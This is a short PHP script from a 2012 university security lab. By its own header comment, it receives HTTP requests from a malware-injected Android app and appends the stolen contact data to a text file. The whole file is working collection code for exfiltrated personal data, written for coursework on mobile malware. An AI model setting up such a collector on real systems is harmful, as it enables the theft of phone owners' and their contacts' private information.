<?php
/**
 * CSE484, Lab 3
 * Nick Cummins, Chris Acuario, Kyl Wellman
 * May 25, 2012
 * 
 * Receives an HTTP request from a malware-injected Android application;
 * the request contains information about contacts stored on the phone. 
 * 
 */

define("FILE_NAME", "stolen_contacts_info.txt");


$line = "";

# the GET request can contain any arbitrary set of parameters
foreach ($_GET as $param => $value) {
    # each element in this request will be appended to a line in
    # the file, with format "param_name => param_value[tab]"
    $line = $line . $param . " => " . $value . "\t"; 
}
$line = $line . "\n";

file_put_contents(FILE_NAME, $line, FILE_APPEND);

?>
